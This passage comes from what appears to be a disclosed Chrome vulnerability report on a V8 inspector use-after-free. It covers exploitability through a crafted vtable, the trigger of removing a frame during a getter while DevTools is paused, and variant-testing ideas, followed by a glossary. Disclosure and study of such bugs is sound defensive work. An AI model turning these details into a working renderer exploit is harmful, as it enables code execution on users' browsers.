The report describes the freed allocation as a renderer-heap object reclaimable from controlled JavaScript, exploitable for renderer code execution with a crafted vtable. The crash is in the renderer process. The precondition is that DevTools is open and the inspector is wrapping values in the affected context, as happens when it sends Runtime.getProperties while paused.

Fix

The report does not describe a fix.

Variants to test

  • Other wrapping entry points that can reach user JavaScript while a raw InjectedScript* is live, such as wrapObject and the direct wrapObjectMirror calls in getProperties. A positive result is a crash in wrapObjectMirror with the same freed-region pattern.
  • Other native accessors installed through FunctionTemplate that the script-ID guard does not skip. A positive result is a synchronous callback into user code from getErrorProperty or a similar helper.
  • Other synchronous callbacks that tear down the inspected context, beyond self.frameElement.remove(). A positive result is the ~InspectedContext → ~InjectedScript free chain appearing in the ASan free stack.
  • The same pattern in other inspector paths that hold a raw pointer obtained from a shared_ptr-scoped lookup. A positive result is a use-after-free report where the allocation and free stacks both pass through the inspector's context bookkeeping.

Glossary

  • AddressSanitizer (ASan): a tool built into special developer builds of Chrome that detects memory errors such as use-after-free and reports them with a stack trace.
  • API: a defined set of commands one program offers to another; here, the commands DevTools uses to talk to the browser.
  • Blink: Chrome's rendering engine, which turns HTML and CSS into a page.
  • Bootstrap: the startup phase in which V8 sets up built-in JavaScript objects such as Error.
  • CDP (Chrome DevTools Protocol): the message format DevTools and the browser use to exchange commands and results.
  • Context (JavaScript context): an isolated JavaScript environment, roughly one page or frame, with its own global objects.
  • DevTools: the browser's built-in developer panel for inspecting pages, watching variables and pausing code.
  • FunctionTemplate: V8's description of a built-in function or property accessor written in C++.
  • Getter: a function that runs automatically when a property is read.
  • Heap: the area of memory a program uses for objects it creates while running.
  • Heap-use-after-free: using memory from the heap after it has been released back to the program.
  • InjectedScript: the inspector object that wraps JavaScript values into RemoteObjects and evaluates expressions for one debugging session.
  • InspectedContext: the inspector's record of one JavaScript context, which owns the InjectedScripts belonging to it.
  • Isolate: a V8 engine instance that runs one group of JavaScript contexts.
  • Microtask: a small JavaScript job that V8 normally runs at certain points during execution.
  • MiraclePtr: a Chrome defence that makes freed memory harder for an attacker to reuse.
  • Protocol domain: a named group of related CDP commands, such as Runtime.
  • Raw pointer: a plain memory address with no ownership attached; it does not keep the object alive.
  • Renderer: the separate process Chrome uses to run a web page.
  • RemoteObject: the protocol's description of a JavaScript value, sent to DevTools for display.
  • Sad Tab: the grey page Chrome shows when a tab's process has crashed.
  • Script id: a number V8 assigns to each compiled piece of JavaScript; page code has one, built-in machinery does not.
  • shared_ptr: a smart pointer that keeps a count of copies and destroys the object only when the last copy goes away.
  • unique_ptr: a smart pointer that is the sole owner of an object and destroys it when it goes away.
  • Use-after-free: a bug where a program keeps using memory after it has been freed.
  • V8: the JavaScript engine inside Chrome.
  • V8 inspector: the part of V8 that implements the DevTools protocol commands.
  • Vtable: a table of function addresses a program uses to call the right method on an object; controlling it can redirect calls.

More by Alisa Esage

View all

1 more disclosed report, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.